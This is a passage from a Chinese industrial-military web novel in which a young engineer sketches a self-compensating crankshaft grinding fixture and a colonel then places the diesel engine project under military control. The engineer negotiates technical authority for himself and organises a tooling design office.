那是一个谁也看不懂的、造型古怪的夹具。 它有着精巧的卡槽,一个带有微分刻度的调节旋钮,还有一个利用杠杆和弹簧原理设计的、结构巧妙的自动补偿机构。 “这是……” 江建国第一个看出了些门道,他俯下身,眼睛死死地盯着地上的草图,呼吸都变得急促起来。 “一个高精度、可微调的半自动定位补偿夹具。” 路承舟站起身,拍了拍手上的粉笔灰,用脚尖点了点图纸的核心部分,“将曲轴固定在这个夹具上,通过这个刻度盘,预设好磨削量。这个弹簧补偿机构,可以在磨削过程中,根据砂轮的损耗和金属的切削力,自动进行微米级的补偿校正。” 他抬起头,看向早已目瞪口呆的刘师傅。 “有了它,就不再需要您的‘手感’了。任何一个熟练的磨工,只需要按照规程操作,就能保证每一根曲轴的最终精度,都在误差范围之内。” 路承舟的声音平淡,却仿佛一道贯穿天地的惊雷,在每个人的脑海中轰然炸响! 整个车间,死一般的寂静。 所有老师傅的目光,都死死地钉在地面那副潦草却又闪耀着天才光芒的图纸上。 他们是干了一辈子机械的老手,他们或许设计不出这样的东西,但他们能看懂! 他们能瞬间理解这副图纸背后那天才般的构想和它所能带来的革命性效果! “我的天……” 刘师傅的嘴唇哆嗦着,他蹲下身,用那双布满老茧的手,颤抖地、近乎于朝圣般地,抚摸着地上的粉笔线条,“能行……这绝对能行!简直是神来之笔!神来之笔啊!” 寂静被打破,取而代之的,是比刚才更加猛烈、更加炽热的惊叹与议论! “太厉害了!这个问题困扰了我们厂十年了!” “这……这脑子是怎么长的?” “路总指挥……不,路总师!您才是真正的总工程师!” 如果说,之前的胜利是靠着那通来自高层的电话,那么此刻,路承舟用一支小小的粉笔,就在这间车间里,为自己真正的、无可撼动的王座,打下了最坚实的地基。 “刘师傅,” 路承舟没有理会那些赞美,他开始下达命令,声音沉稳而有力,“你立刻带钳工组,按照这副图纸,把夹具做出来,我需要它在二十四小时之内装到机床上。” “是!保证完成任务!” 刘师傅猛地站起,眼中爆发出前所未有的精光。 “张师傅,焊工组配合,所有需要淬火的部件,你们来负责。” “收到!” “江总工,” 他转向江建国,语气充满了尊重,“后续的生产流程优化、人员调配和质量监督,就要全部拜托您来总揽全局了。” 江建国重重地点头,心中激荡不已。 路承舟这一手,既展现了自己无可匹敌的技术权威,又维护了他这位老总工的地位,堪称滴水不漏。 “大家动起来!” 随着一声令下,整个三号车间,这台沉寂已久的战争机器,瞬间爆发出恐怖的能量。 工人们的热情被彻底点燃,他们奔向各自的岗位,眼中闪烁着对技术最纯粹的渴望和对未来的无限憧憬。 清算完旧敌,点燃了新火,一个崭新的时代,在这座车间里,正式拉开了序幕。 然而,就在车间内干劲冲天之时,一阵急促而有力的引擎轰鸣声,由远及近,停在了车间的大门口。 那声音,不同于之前伏尔加的沉稳,也不同于护卫吉普的普通,它更加刚硬、更具侵略性。 一个身影,逆着光,出现在大门口。 那是一名穿着笔挺军装的军人,肩上扛着的校官军衔在阳光下熠熠生辉。 他的身姿如同一柄出鞘的利剑,眼神锐利如鹰,浑身上下都散发着一股只有在真正战场上才能磨砺出的铁血煞气。 他的目光,冷冽地扫过车间内热火朝天的景象,最后,精准地定格在了人群中心的那个年轻人身上。 “谁是路承舟?” 他的声音,不高,却像两块钢铁在互相撞击,带着不容置疑的威严,瞬间压倒了车间里所有的嘈杂。 第120章 利剑出鞘 车间里鼎沸的人声,仿佛被一把无形的、烧红的铁钳猛然扼住了喉咙。 所有的声音,无论是激动的呐喊,还是压低了的议论,都在瞬间消失得无影无踪。 那股刚刚被路承舟点燃的、足以熔化钢铁的生产热情,撞上了一堵冰冷的、由铁血煞气构筑的墙壁,瞬间凝固。 空气中,只剩下那台老旧车床皮带轮转动时发出的、单调的“嗡嗡”声,显得格外刺耳。 门口,那个逆光而立的身影,像一尊沉默的铁铸雕像。 他没有多余的动作,仅仅是站在那里,就将整个车间的气场彻底改变。 那是一种纯粹的、不加掩饰的压迫感,源自尸山血海的磨砺,与办公室里的官僚威压有着本质的区别。 在场的所有工人,都是在工厂里摸爬滚打了一辈子的老实人,他们何曾见过这般人物? 他们下意识地屏住了呼吸,甚至不敢抬头直视那道身影,仿佛多看一眼,都是对某种神圣威严的亵渎。 江建国的心脏猛地一缩。 他刚刚挺直的脊梁,在那道锐利如鹰隼的目光扫视下,竟感到一丝本能的寒意。 他立刻意识到,来人的级别与目的,恐怕远远超出了市工业局的范畴。 这阵风,不是从市里刮来的。 这是从京城,从那个真正的权力中枢,呼啸而至的烈风。 整个车间,数十号人,此刻唯一还能保持镇定的,只有路承舟。 在那句冰冷质问响起的一瞬间,他便已经转过身。 他没有丝毫的意外,仿佛早已预料到这一幕的发生。 那份寄往京城的资料,就是他投下的一颗深水炸弹,而眼前这位军官,便是被炸出水面的第一条巨鲨。 在所有人敬畏、恐惧、困惑的目光注视下,路承舟平静地拨开身前的人群,向前走去。 他的脚步不疾不徐,每一步都踏得沉稳而有力,最终停在了那名军官面前三步远的地方。 “我就是。” 他开口,声音不大,却清晰地传入了每个人的耳中。 没有半分的卑微,也没有丝毫的张扬,只是最简单、最直接的陈述。 那名校官的目光,终于完全聚焦在了路承舟的身上。 那是一双怎样的眼睛,深邃、锐利,仿佛能洞穿人心。 当他的视线落在路承舟那张年轻得过分的脸上时,他那如雕塑般冷硬的眉峰,几不可察地微微一蹙。 显然,他也被这张脸的主人与他所做之事间的巨大反差,惊到了。 但他没有将这份惊讶表露出来。 军人严苛的纪律让他迅速压下了所有情绪,他只是从上到下,用一种审视武器般的目光,重新打量了一遍路承舟。 片刻的沉默之后,他从内侧口袋里,掏出了一个由牛皮纸包裹的、用火漆封口的厚重文件袋。 “总装备部,第三研究所,上校,雷振宇。” 他自报家门,每一个字都像是从牙缝里挤出来的,带着金属的质感。 总装备部! 这三个字一出口,江建国的身体便猛地一晃,险些站立不稳。 他身后的几位老师傅,更是脸色煞白,倒吸了一口凉气。 如果说市工业局是他们这些地方工厂的天,那么总装备部,就是天外的天! 那是执掌着整个国家所有尖端武器研发与生产的至高机构,是他们平日里连在报纸上都难以窥见全貌的、传说中的存在。 雷振宇没有理会众人的惊骇。 他的目光始终锁定着路承舟,像是在确认最终的目标。 他撕开火漆,从文件袋里抽出一份印着鲜红抬头的命令文件,直接递到路承舟面前。 “根据最高指示,红星厂柴油机技术革新项目,即刻升级为军方重点督办项目。项目代号:‘强心’。” 雷振宇的声音冷硬,不带一丝感情。 “即刻起,‘强心’项目指挥部,由你,路承,担任总设计师,江建国同志担任总工程师。我,雷振宇,担任项目总负责人,全权负责项目安保、协调及监督工作。” 这份命令,比之前市局司机的口谕,更加霸道,也更加直接! 总设计师! 总负责人! 权力的架构,在这一刻被重新定义。 路承舟被推到了一个前所未有的技术核心位置,而雷振宇的出现,则意味着军方力量的直接、强势介入。 “这是命令。” 雷振宇将文件塞进路承舟的手中,语气不容置疑,“现在,我需要立刻看到所有技术资料、原始图纸,以及那批零误差的样品。一样,都不能少。” 他不是来商量的,他是来接管的。 路承舟平静地接过那份分量沉重的任命文件,只是扫了一眼,便将其递给了身旁早已呆若木鸡的江建国。 “雷上校,东西都在这里。” 他侧过身,指向车间中央的工作台,“但我想,您可能更想先看一样别的东西。” 雷振宇眉头一挑,顺着他手指的方向看去。 他的目光,落在了那片画着复杂草图的水泥地上。 作为总装备部研究所的上校,雷振宇自身的专业技术水平,毋庸置疑。 他或许不是一线操作的工人,但他对机械原理的理解,远超常人。 只一眼,他的瞳孔,便骤然收缩。 他大步流星地走了过去,直接蹲下身,那双戴着白色手套的手,甚至没有去碰触那些珍贵的零件样品,而是直接悬停在了那副用粉笔画出的夹具草图上方。 他的目光,如同最精密的扫描仪,飞速地扫过图上的每一个结构,每一处细节。 从定位的卡槽,到微调的刻度盘,再到那个设计得鬼斧神工的自动补偿机构。 车间里,落针可闻。 所有人都屏息凝神地看着这位气场强大的上校,看着他脸上的表情,从最初的冷硬,到审视,再到惊讶,最后化作了一抹难以掩饰的、极致的震撼。 “半自动定位,微米级补偿……” 他几乎是在梦呓,声音里充满了不敢置信,“利用杠杆原理抵消切削应力,再用弹簧的回弹系数来量化砂轮的磨损……天才……这简直是天才的设计!” 他猛地抬起头,那双锐利的眼睛死死地盯着路承舟,仿佛要将他从里到外看个通透。 “这张图,也是你画的?” “为了解决量产问题,刚画的。” 路承舟的回答,云淡风轻。 雷振宇的胸膛,剧烈地起伏了一下。 他缓缓站起身,再次看向路承舟的眼神,已经彻底变了。 如果说之前是审视与执行命令的冷漠,那么此刻,那眼神中,燃烧起了一股炙热的、仿佛发现了稀世珍宝的火焰! 他终于明白,为什么总部那些眼高于顶的老专家们,在看到那份资料后会集体失态,甚至不惜动用最高权限,也要将这个项目牢牢抓在手里。 眼前这个年轻人,他所拥有的,根本不是什么技术革新。 这是一座足以改变整个国家工业格局的,未被发掘的金矿! “警卫员!” 雷振宇猛然转身,对着车间门口沉声喝道。 两名身姿挺拔、眼神警惕的军人,立刻从门外冲了进来,立正敬礼。 “传我命令!” 雷振宇的声音,斩钉截铁,“即刻联系东海舰队陆战旅,调派一个战斗工兵连,一小时内进驻红星厂!三号车间外五百米,设立一级军事禁区,二十四小时武装巡逻!架设高强度电网,铺设红外警报器!” 他顿了顿,冰冷的目光扫过车间里所有噤若寒蝉的工人。 “另外,命令保卫部,立刻对车间内所有人员,进行最高级别的政治审查!在审查结果出来之前,任何人,不许离开车间半步!” 命令下达,如山崩地裂。 一场刚刚在厂门口平息的风暴,此刻,以一种更加强悍、更加不容置疑的姿态,在这座小小的车间里,再度降临。 而这一次,风暴的中心,不再是权力的更迭。 是国家这台战争机器,为了保护它最珍贵的瑰宝,露出了它最锋利的獠牙。 第121章 第一道铁律 雷振宇的声音,并非金石之声,却比任何金属的撞击都更具重量。 它沉甸甸地落下,砸在三号车间的水泥地上,没有激起一丝回音,却仿佛将空气中所有的分子都震得凝固。 一级军事禁区。 二十四小时武装巡逻。 最高级别政治审查。 每一个词,都是一道无形的枷锁,精准而冷酷地套在了在场所有工人的脖颈上。 他们脸上的狂喜与激动,如同被瞬间冰封的潮水,僵硬地凝固在上一秒。 取而代之的,是一种发自骨髓深处的、茫然的恐惧。 他们是工人,是凭手艺吃饭的匠人。 他们能理解扳手与图纸,能听懂车床的轰鸣,却无法理解这突如其来的、属于另一个世界的铁血秩序。 他们刚刚推翻了一个看得见、摸得着的土皇帝,却迎来了一尊更加威严、更加遥远、甚至不屑于看他们一眼的真神。 而这位真神,将他们视作了囚徒。 两名荷枪实弹的警卫员,如同两尊移动的铁塔,一左一右,封死了车间那扇唯一敞开的大门。 他们手中那黑洞洞的枪口,并未指向任何人,可那冰冷的钢铁光泽,却比最恶毒的目光更能剥夺人的勇气。 江建国感到一阵天旋地转,嘴唇发干。 他扶住身旁冰冷的机床,才勉强稳住身形。 这位刚刚挺直脊梁的老工程师,此刻只觉得一股寒气从脚底直冲天灵盖。 他看着那两名军人,又看了看气场冷硬的雷振宇,心中那点刚刚燃起的斗志,被这股绝对的力量碾得粉碎。 他想说些什么,想为这些跟了他半辈子的老伙计们辩解几句,可喉咙却像是被一只无形的手死死扼住,发不出半点声音。 在国家机器的雷霆之威面前,他个人的那点资历与威望,渺小得如同一粒尘埃。 车间内,死一般的寂静。 只有路承舟,依旧站在风暴的中心,平静地迎着雷振宇那审视的目光。 他没有去看那些惊慌失措的工人,也没有理会身旁江建国的惶然。 他知道,此刻任何安抚的言语都是苍白的。 在这座由军方强行建立的铁笼里,唯一能与猛兽对话的,只有另一头更强悍的猛兽,或者猛兽的主人。 “雷上校。” 路承舟开口了,声音打破了这令人窒息的沉默。 他的语调平稳,不带丝毫情绪的波澜,仿佛在讨论一个纯粹的技术问题。 “政治审查,是必要的程序,我理解,也完全支持。” 他一开口,就先肯定了对方的权威,没有进行任何愚蠢的正面冲撞。 雷振宇的眉毛微微一挑,眼神中露出一丝意外。 他本以为这个年轻人会惊慌,会辩解,甚至会为了他手下的工人而提出抗议。 他已经准备好了一套冰冷的说辞,来碾碎任何不切实际的幻想。 可路承舟没有。 “但是,” 路承舟的话锋,在短暂的停顿后,陡然转折,变得锐利起来,“我需要提醒您一件事。” 他伸出手,不是指向图纸,也不是指向样机,而是缓缓划过那一张张因恐惧而变得苍白的脸。 “‘强心’项目,它的心脏不是图纸,也不是这台样机。” 路承舟的目光,最终与雷振宇那双锐利的鹰眼在空中交汇,没有丝毫的退缩,“它的心脏,是这些人,是他们的大脑,是他们的双手。” “他们是全国最顶尖的钳工、磨工、焊工。他们能用肉眼分辨出千分之一毫米的误差,能用双手打磨出镜面般的光洁度。这些能力,是任何政治审查报告都无法体现的。” 他的声音不高,却掷地有声,每一个字都清晰地回荡在所有人的耳边。 那些原本被恐惧攫住的工人们,下意识地抬起了头,难以置信地看着那个为他们说话的年轻背影。 雷振宇的眼神,渐渐凝重起来。 “你想说什么?” 他沉声问道。 “我想说,一个被恐惧攥住心脏的工人,他的手会抖。” 路承舟的回答,简单而直接,“手一抖,再完美的图纸,出来的也是废品。我们要造的,是上战场的‘心脏’,而不是一堆躺在仓库里的废铁。” “我需要他们保持绝对的专注和高昂的士气。而现在,您的一道命令,让他们觉得自己成了需要被审查的犯人。” “所以,” 路承舟向前踏了半步,那一步,让空气中的紧张气氛瞬间绷紧到了极致,“我需要您,雷上校,亲自对他们说几句话。告诉他们,他们不是囚犯,而是国家最宝贵的财富。告诉他们,审查只是为了更好地保护他们,保护这个项目。” “只有这样,他们的心才能安下来。心安了,手才能稳。” 话音落下。 整个车间,落针可闻。 江建国的心脏几乎要从喉咙里跳出来! 他死死地盯着路承舟,这个年轻人,他竟然…… 竟然在“命令”一位总装备部的上校! 他疯了吗? 然而,雷振宇没有暴怒。 他只是深深地看着路承舟,那双鹰隼般的眼睛里,闪烁着复杂的光芒。 有震惊,有审视,甚至还有一丝欣赏。 他沉默了足足有半分钟。 这半分钟,对于车间里的其他人来说,漫长得如同一个世纪。 最终,雷振宇缓缓地点了点头。 他转过身,面向那群早已被惊得魂不附体的工人们。 他清了清嗓子,那股冰冷的、拒人于千里之外的铁血煞气,奇迹般地收敛了几分。 “路承舟同志说得对。” 他的声音依旧冷硬,但内容却让所有人如遭雷击。 “你们,不是犯人。” 雷振宇的目光扫过每一个人,“你们是‘强心’项目的核心技术骨干,是这个国家工业战线上的宝贵财富。从现在起,你们的安危,将由军队直接负责。” “即将进行的审查,不是不信任,而是最高级别的保护措施。我们要确保,任何一个潜在的威胁,都无法靠近你们,无法干扰到这项足以影响国运的伟大工程。” 他顿了顿,声音提高了几分,带着一股不容置疑的威严。 “你们的任务,就是心无旁骛,拿出你们最好的技术,将图纸变成现实!而我们的任务,就是为你们扫平一切障碍,提供一切保障!伙食,住宿,待遇,全部按最高标准执行!你们的家人,也会得到地方武装部的重点照顾!” “听明白了吗!” 这番话,先是安抚,再是激励,最后是承诺。 软硬兼施,恩威并重。 工人们先是一愣,随即,一股比之前更加猛烈、更加炽热的暖流,从心底轰然涌起! 他们不是囚犯! 他们是财富! 是受军队保护的国宝! 这种从地狱到天堂的巨大反差,这种被国家最高暴力机关承认与重视的无上荣耀,瞬间击溃了他们心中所有的恐惧与不安。 “明白!” 不知是谁,第一个吼出了声,声音因激动而嘶哑。 紧接着,山呼海啸般的应和声,在这座被封闭的车间里轰然炸响! “明白!” “保证完成任务!” 看着眼前士气重燃的众人,雷振宇的嘴角,勾起一抹几不可察的弧度。 他转回头,重新看向路承舟,眼神中第一次带上了平等的意味。 “现在,你满意了?” “我只是为了项目负责。” 路承舟平静地回答。 就在这时,车间外,一阵阵沉重而整齐的脚步声由远及近,伴随着军用卡车独有的引擎轰鸣。 第一道铁律已经立下。 而那座将他们与整个世界隔绝开来的铁幕,也正在缓缓降临。 第122章 新的秩序 军用卡车那沉闷的引擎轰鸣,如同远方滚来的雷霆,由远及近,最终以一种不容置疑的姿态,碾碎了三号车间门口的寂静。 这不是一台车,而是一个车队。 沉重的轮胎压过水泥路面,发出令人牙酸的摩擦声。 紧接着,是整齐划一的开门声、士兵皮靴踏地的闷响,以及金属枪械碰撞时发出的、冰冷而清脆的咔哒声。 这些声音汇聚成一种独特的交响乐,一首名为“秩序”与“掌控”的铁血乐章,宣告着一个全新时代的降临。 车间内的工人们,刚刚被雷振宇一番话点燃的热血尚未冷却,此刻却又被门外这股肃杀之气浇得透心凉。 他们本能地向后退去,挤作一团,像一群误入狼群的绵羊,敬畏而又恐惧地望着那扇被光与影切割开来的大门。 一名戴着白色钢盔、手持冲锋枪的士兵,率先踏入车间。 他没有看任何人,目光如同扫描仪一般,迅速而冷酷地扫过车间的每一个角落,评估着所有的潜在威胁。 紧随其后,一队又一队全副武装的战士,以标准的战斗队形鱼贯而入,他们的动作里没有一丝一毫的多余,每一个转身、每一次持枪,都充满了千锤百炼的肌肉记忆。 他们就像一群沉默的、由钢铁与纪律浇筑而成的兵人,迅速而高效地接管了这片空间。 一部分人沿着墙壁散开,封锁了所有的窗户与偏门;另一部分人则开始在车间外围布设一些工人们前所未闻的设备闪烁着红点的盒子、连接着粗大电缆的线圈,以及一卷卷带着尖锐倒刺的铁丝网。 铁幕,正在以肉眼可见的速度,缓缓降下。 在这片由绝对纪律构筑的压抑气场中,雷振宇转身,重新面向路承舟。 他那张冷硬的脸上,已经看不到丝毫的情绪波动,仿佛刚才那番安抚人心的话语,不过是完成任务的一个必要程序。 “路总设计师,” 他刻意加重了“总设计师”这四个字,那既是身份的确认,也是权责的划分,“从现在起,这里的一切,都将按照军事化标准管理。我需要你做的第一件事,就是配合我的参谋,制定一份详细的人员名单和技术岗位对应表。” 他侧过身,身后一名同样穿着军装、但气质更偏向文职的年轻军官立刻上前一步,手中拿着一个崭新的文件夹和一支钢笔。 “第二,” 雷振宇伸出两根手指,语气不容置疑,“所有核心技术资料、设计图纸、实验数据,必须立刻进行封存备份。原件由你和江总工共同保管,备份文件将由我的人直接送往京城,存入总装备部的最高保密档案室。” “第三,也是最重要的一点。” 他的目光变得锐利如刀,死死地钉在路承舟的眼睛上,“在这里,只有一条铁律:绝对服从。任何可能导致泄密、延误工期的行为,都将被视为对国防安全的直接威胁。我不管他是谁,有什么功劳,一律军法从事。” 这三条命令,如三座大山,轰然压下。 它清晰地定义了新的权力边界:路承舟拥有技术的最高解释权,而雷振宇,则掌握着这里所有人的生杀大权。 江建国听得心惊肉跳,脸色一阵发白。 他张了张嘴,似乎想说什么,但在接触到雷振宇那冰冷的眼神后,又颓然地闭上了。 他知道,在这个地方,他那套老国企的管理经验,已经彻底作废了。 然而,路承舟的反应却再次出乎了所有人的预料。 他没有丝毫的抵触,甚至连眉头都没有皱一下,只是平静地点了点头。 “我明白,也完全同意。” 他转向那位年轻的参谋,语气平和地说道:“人员名单,江总工那里有最完整的,请他配合你。至于技术岗位,我需要五分钟,给你画一张最直观的流程图。” 然后,他又看向雷振宇。 “但是,雷上校,既然要按照军事化标准管理,那么我作为‘总设计师’,也需要你给我三项绝对的权力。” 此言一出,空气再次凝固。 连雷振宇本人,都愣了一下。 他眯起眼睛,饶有兴致地看着眼前这个敢于跟他“讨价还价”的年轻人。 “说来听听。” “第一,技术决策权。” 路承舟伸出一根手指,声音清晰而有力,“在‘强心’项目的所有技术问题上,我拥有一票否决权。任何方案的制定、修改与执行,都必须以我的签字为最终依据。任何人,包括您在内,都不能在技术层面干涉我的判断。” “第二,资源调配权。” 他伸出第二根手指,“我需要什么设备、什么材料、什么人,只需列出一张清单。我不管你们用什么方法,一天之内,必须送到我的面前。如果因为资源不到位而延误工期,责任不在我。” “第三,” 他顿了顿,目光扫过那些正被士兵们用警惕眼神监视着的老师傅们,声音沉了下来,“人事豁免权。在我的技术团队里,没有士兵,只有工匠。他们可以遵守保密条例,但不能被非技术性的纪律所束缚。我需要他们抽烟提神的时候,就必须有烟;我需要他们骂几句脏话发泄压力的时候,就没人能用纪律去堵他们的嘴。如果有人因为这些‘无伤大雅’的小问题而被处罚,那么我将立刻停止所有工作。” 三项权力。 每一项,都是在挑战雷振宇刚刚建立的铁腕秩序。 尤其是第三条,几乎是在公然对抗“绝对服从”那条最高铁律! 那位年轻参谋的脸色瞬间变了,手下意识地就摸向了腰间。 江建国更是吓得魂飞魄散,他几乎要冲上去捂住路承舟的嘴。 雷振宇死死地盯着路承舟,眼神中那股被压抑下去的铁血煞气,再次翻涌上来。 车间里的温度,仿佛都因此下降了好几度。 两人就这么对视着,一个平静而坚定,一个冷冽而威严。 这是一场无声的交锋,是技术权威与军事权威之间,第一次最直接的碰撞。 良久。 雷振宇的嘴角,忽然向上扯动了一下,露出一个比哭还难看的笑容。 “小子,你很有种。” 他缓缓地点了点头,声音出奇地平静:“好。我答应你。” 他转向那名年轻参谋,声音恢复了冰冷。 “你听到了吗?路总设计师的话,就是我的命令。他的三项权力,从现在起,写入‘强心’项目最高管理条例。任何人敢阳奉阴违,直接关禁闭!” “是!” 年轻参谋猛然立正,大声应道,看向路承舟的眼神里,充满了震惊与不可思议。 权力的交接与制衡,就在这短短几句对话中,以一种粗暴而高效的方式,完成了。 路承舟没有丝毫的得意,他仿佛只是做了一件微不足道的小事。 他走到一旁的工作台,拿起一支铅笔和一张图纸,迅速地为那位参谋绘制起了生产流程与岗位分布图。 而就在此刻,车间的大门外,又开来了几辆卡车。 这一次,车上跳下来的不是士兵,而是一群穿着白色工作服的后勤人员。 他们抬下了一箱箱崭新的、油布包裹的工具,有德国进口的高精度卡尺,有瑞士生产的千分表,甚至还有几台小型的、崭新的台式钻床和砂轮机。 紧接着,另一辆车上,炊事班的战士们动作麻利地架起了行军锅。 不过十分钟,浓郁的肉香就从大门口飘了进来。 那是用大块肥瘦相间的猪肉炖的白菜粉条,里面还加了海带,香气霸道得不讲任何道理,粗暴地钻进每一个工人的鼻孔里。 这些熬了一整夜、又经历了半天惊吓的工人们,肚子里早已空空如也。 闻到这股味道,所有人的喉结,都不由自主地上下滚动起来。 雷振宇看着这一切,走到路承舟身边,压低了声音。 “你的团队,负责攻克技术难关。” 他的目光,望向门外那冉冉升起的炊烟。 “我的团队,负责让你的团队,在吃饱饭之后,除了攻克难关,脑子里不用想任何别的事情。” 一个崭新的、被铁幕笼罩的、却又充满了无限保障的秩序,在红星厂这座老旧的车间里,正式开始运转。 第123章 总设计师的第一道命令 肉香。 霸道的肉香。 那是一种最朴实、最直接、也最能勾动人肠胃的香气,混杂着猪油被高温逼出后独有的焦香,以及大白菜和粉条吸饱了汤汁后散发出的、带着一丝甜味的暖香。 它就像一只无形的手,强行撬开每个人的味蕾,粗暴地将饥饿的信号直接烙印在大脑深处。 刚刚还因森严军纪而绷紧的神经,在这股香气面前,不堪一击。 “咕咚。” 不知是谁,第一个没忍住,喉结剧烈地滑动了一下,吞咽口水的声音在寂静的车间里显得格外清晰。 这个声音仿佛一个信号,瞬间引发了连锁反应。 此起彼伏的吞咽声,比任何语言都更诚实地表达了这群熬了一整夜的工人此刻最真实的渴望。 雷振宇带来的兵,动作麻利得像是在执行一场精确的外科手术。 不过片刻,一口巨大的行军锅就被抬到了车间门口的空地上,锅盖掀开,蒸腾的热气混合着浓郁的肉香冲天而起。 另一个桶里,是堆成了小山一样的白面馒头,个个都蒸得饱满暄软,散发着纯粹的麦香。 “开饭!” 一名炊事班长扯着嗓子吼了一声,声音洪亮。 “所有人,排队,一个一个来!盆子不够的,先用自己的搪瓷缸子!” 工人们面面相觑,脸上写满了不知所措。 他们看看门口荷枪实弹的士兵,又看看那口香气四溢的大锅,一时间竟没人敢挪动脚步。 在他们几十年的工厂生涯里,还从未有过这样的待遇。 别说大锅炖肉了,就是食堂里的白菜汤,也常常清得能照出人影。 “看什么看!” 雷振宇的声音冷不丁地响起,带着一丝不耐烦,“路总设计师刚才的话你们忘了?你们是这个项目的核心,是国宝!让国宝饿着肚子干活,我雷振宇丢不起这个人!都给我去吃饭,吃饱了,才有力气打硬仗!” 这番话,粗糙却直接,像一剂强心针,瞬间打消了众人最后的顾虑。 “走走走,吃饭去!” “娘嘞,这肉炖的,隔着十里地都能闻见味儿!” 钳工组的刘师傅第一个反应过来,他抹了把嘴,招呼着身边的伙计们,率先向门口走去。 有人带头,剩下的人便再也按捺不住,纷纷拿起自己的工具箱旁的饭盒水缸,汇成一股人流,涌向了那口大锅。 秩序井然。 没有人插队,没有人喧哗。 在那些沉默持枪的士兵面前,所有人都下意识地遵守着一种全新的、无形的规矩。 江建国没有动。 他呆呆地站在原地,看着工人们排着队,从炊事兵手里接过一勺勺冒着油光、堆得冒尖的炖肉,看着他们找个角落蹲下,迫不及待地将一大块肥肉塞进嘴里,脸上露出那种近乎于幸福的、满足的表情。 他的眼眶,毫无征兆地红了。 他不是馋肉,而是心酸。 这群跟着他干了半辈子的兄弟,是整个红星厂技术最好的匠人,却也是过去被欺压得最狠、过得最苦的一群人。 如今,一顿饱饭,竟能让他们露出这样的神情。 “江总工。” 路承舟的声音在他身旁响起,“您也去吃点吧。” 江建国转过头,看着路承舟那张平静的脸,嘴唇哆嗦了半天,才从牙缝里挤出一句话:“承舟……不,路总师……我……我这心里……” “我明白。” 路承舟打断了他,递过去一个干净的馒头,“但现在不是感慨的时候。吃饱饭,只是第一步。接下来,我们要做的事,才是真正决定他们未来能不能天天吃上肉的关键。” 他的话语,有一种能让任何激荡情绪迅速冷静下来的力量。 江建国接过馒头,重重地点了点头。 他看着路承舟,这个年轻人的身上,似乎永远都看不到与年龄相符的激动或惶恐,只有一种超乎想象的、对目标的绝对专注。 路承舟自己并没有去排队,他只是啃着那个馒头,目光却始终没有离开那片画在地上的夹具草图。 等大部分工人都吃得差不多了,脸上泛起了满足的油光,他才拍了拍手,将所有人的注意力吸引了过来。 “各位师傅,吃好了吗?” “好了!” 众人齐声应道,声音比之前响亮了数倍,底气十足。 一顿扎扎实实的硬菜,让他们消耗殆尽的体力和精神,都得到了极大的补充。 “好。” 路承舟点了点头,他走到钳工组那群老师傅面前,目光精准地落在了刘师傅身上。 “刘师傅。” “到!” 刘师傅猛地站起身,下意识地挺直了腰杆,像个等待命令的士兵。 “这副夹具,” 路承舟用脚尖点了点地上的草图,“我要在二十四小时之内,看到成品。材料,用最好的铬钒钢,所有受力部件,必须经过淬火处理。精度要求,图上都标明了。有没有问题?” 这,是路承舟在成为“总设计师”之后,下达的第一道正式命令。 它没有通过雷振宇,也没有通过江建国,而是直接、清晰地,下达给了最核心的执行者。 “没有问题!” 刘师傅的回答斩钉截铁,眼中爆发出惊人的光彩,“保证完成任务!” 对于一个顶级的匠人而言,再多的炖肉,也比不上一件闪耀着天才光芒的作品所带来的吸引力。 这张图纸,就是他眼中最顶级的美味佳肴! “我需要人手!” 刘师傅立刻进入了状态,“钳工组的老张、老李,跟我一组,负责主体加工。焊工组的孙师傅,淬火的活儿,还得您来掌眼!” 被点到名的人,立刻站了出来,脸上带着一股被委以重任的兴奋。 一个以技术为核心的指挥体系,在这一刻,高效地运转了起来。 然而,路承舟却轻轻摇了摇头。 “不。” 他环视众人,说出了一句让所有人都愣住的话。 “我不要一个临时拼凑的小组。” 他的目光扫过刘师傅,又扫过其他几个车间里技术最顶尖的老师傅,声音沉稳而清晰。 “从现在开始,我们三号车间,要成立一个常设的、独立的‘工装设计室’。” “刘师傅,你来担任第一任室主任。你的任务,不再是只盯着眼前这一件夹具。而是要将我们生产线上所有的、依靠老师傅‘手感’来保证精度的工序,全部找出来,然后,一个一个地,用标准化的、高精度的工装夹具去替代它!” “我给你们的目标,不是造出一台完美的发动机。” 路承舟的声音陡然拔高,带着一种不容置疑的魄力。 “而是要打造一条,就算把你们这些老师傅全都抽走,随便换上一批熟练工,也能保证百分之九十九合格率的,‘傻瓜式’的高精度生产线!” 话音落下,满场皆惊! 如果说之前那个夹具的设计是天才之举,那么此刻这番话,所展现出的,则是一种更高维度的、足以颠覆他们几十年工厂经验的工业思想! 他们想的是如何把活儿干得更漂亮,而路承舟想的,是如何彻底消灭对“人”的依赖! 一直站在旁边,默默观察着这一切的雷振宇,瞳孔在这一刻,骤然收缩。 他猛地转过身,对着身后那名年轻的参谋,下达了一道不假思索的命令。 “听到了吗?” “是!” “立刻清空旁边那间工具仓库!把里面最好的绘图板、计算工具、照明设备全部搬进去!从现在起,那里就是‘工装设计室’的独立办公室!” 他顿了顿,又补充了一句,声音冷得像冰。 “他们的后勤保障,按特一级标准执行。谁敢耽误一分钟,直接给我关禁闭!” 第124章 思想的钢印 雷振宇的命令,如同一枚烧红的钢印,带着不容置疑的烙铁温度,狠狠地烫在了三号车间的现实之上。 那名年轻参谋没有丝毫迟疑,他合上文件夹,对着雷振宇猛地一敬礼,转身的动作干脆利落,像一柄出鞘的匕首。 他快步走到车间门口,对着一名通信兵低声而迅速地传达了数条指令。 命令的链条,以一种凡人无法想象的效率,瞬间被激活。 仅仅两分钟后,隔壁那间常年堆满废旧零件、散发着铁锈与机油混合气味的工具仓库,大门被人从外面用一根撬棍轰然砸开。 一队士兵涌了进去,他们的动作里没有半分的犹豫与爱惜,那些被工人们视作“以后或许用得上”的破铜烂铁,被他们如同倾倒垃圾一般,粗暴地扔出窗外,在空地上砸起一蓬蓬尘土。 清空,以一种最彻底、最野蛮的方式进行着。 紧接着,崭新的设备被流水般地抬了进去。 厚重坚实的橡木绘图板,散发着油漆与木材的清香;带着精密刻度的铜制丁字尺,在灯光下闪耀着冰冷的光泽;数台高亮度的护眼台灯,被迅速接上临时拉来的电线,将那间昏暗的仓库照得亮如白昼。 工人们看得目瞪口呆。 他们蹲在角落里,手里捧着搪瓷缸,嘴里咀嚼着肥美的炖肉,眼神却直勾勾地望着隔壁那场翻天覆地的剧变。 那间仓库,他们曾无数次申请清理,报告打了几个月都石沉大海。 而现在,在绝对的权力面前,它在几分钟内就获得了新生。 这是一种摧枯拉朽的效率,一种不讲任何道理的执行力。 